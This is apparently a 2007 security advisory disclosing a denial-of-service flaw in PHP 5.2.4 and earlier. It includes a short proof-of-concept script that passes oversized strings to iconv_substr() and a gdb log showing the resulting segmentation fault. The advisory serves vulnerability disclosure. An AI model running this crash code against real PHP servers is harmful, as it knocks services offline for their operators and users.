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PHP <=5.2.4 iconv_substr() denial of service Sep 05 2007 05:05PM
laurent gaffie gmail com
Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
function: iconv_substr()
special condition: default php-memory-limit
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1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
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1) Introduction
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"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

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2) Bug
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iconv_substr() is vulnerable to a denial of service

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3)Proof of concept
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Proof of concept example :
<?
$a = str_repeat ("A",9989776);/*if a bigger value is supplied, php will get freezed for a while */
$b = str_repeat("/", 2798349);// segfault happens here
iconv_substr($a,0,1,$b);
?>

result:
(gdb) run 2.php
/*(2 mn later...)*/
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215904064 (LWP 11430)]
0xb796e1af in _dl_open () from /lib/tls/i686/cmov/libc.so.6

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4)Greets
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Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

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5)Credits
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Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....

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